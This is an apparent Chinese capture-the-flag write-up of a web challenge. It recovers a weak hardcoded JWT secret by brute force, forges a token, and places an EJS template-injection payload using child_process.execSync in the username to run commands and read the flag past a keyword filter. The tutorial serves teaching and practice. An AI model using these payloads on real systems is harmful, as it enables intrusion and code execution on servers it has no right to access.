第 0 步 · 侦察
curl -s -i http://<目标>/ | head -40
结果:200,text/html,ETag 是 Express 风格;页面是”登录/注册”,只有”邮箱”一个字段,没有密码框。表单 action 指向 /login 和 /register。
第 1 步 · 注册一个账号,拿到 JWT
curl -s -i -X POST http://<目标>/register -d “email=test@example.com“
返回 302,响应头里:
Set-Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RAZXhhbXBsZS5jb20iLCJ1c2VybmFtZSI6InVzZXJfZDM5...; HttpOnly
拿到 token。
第 2 步 · 解码 JWT,看 payload 结构
把 token 按 . 分成三段,中间那段 base64url 解码:
header: {“alg”:”HS256”,”typ”:”JWT”}
payload: {“email”:”test@example.com“,”username”:”user_d883e99434fd”,”iat”:1791872187,”exp”:1792476987}
关键信息:
- 算法 HS256,密钥未知(下一步爆破)
- username 是自动生成的 “user_<随机hex>”,但它是 JWT 里的字段 → 可控(只要能伪造签名)
第 3 步 · 爆破 JWT 密钥
用常见弱密钥对 “header.payload” 做 HMAC-SHA256 重签,和原签名比对:
for s in secret password key jwt jwt_secret 123456 … :
sig = base64url(hmac_sha256(s, “header.payload”))
if sig == 原始签名: 命中
命中结果:密钥 = secret(server.js 第11行硬编码 const JWT_SECRET = ‘secret’)
第 4 步 · 确认 SSTI 注入点
源码里(writeup 已给出):
renderedUsername = ejs.render(String(currentUser.username), { user: currentUser, process });
username 被直接丢进 ejs.render,而且把 process 对象传进了模板作用域 → 可以 RCE。
第 5 步 · 伪造 JWT,username 塞 EJS 载荷
用密钥 secret 自签一个 token,username 设为:
<%= global.process.mainModule.require(‘child_process’).execSync(‘env | grep -i fl’).toString() %>
(题目过滤了 flag/key/sec 等关键词,用 env | grep -i fl 绕过,因为字符串里没有字面 “flag”)
完整伪造脚本(Python):
1 | import json, base64, hmac, hashlib, time, urllib.request |
第 6 步 · 读 flag
返回页面里”欢迎,”后面直接吐出环境变量:
欢迎,FLAG=SYC{LMAO}
本文作者 Allureluoli
文字版权归作者所有,转载请注明出处;商业用途请先联系二月。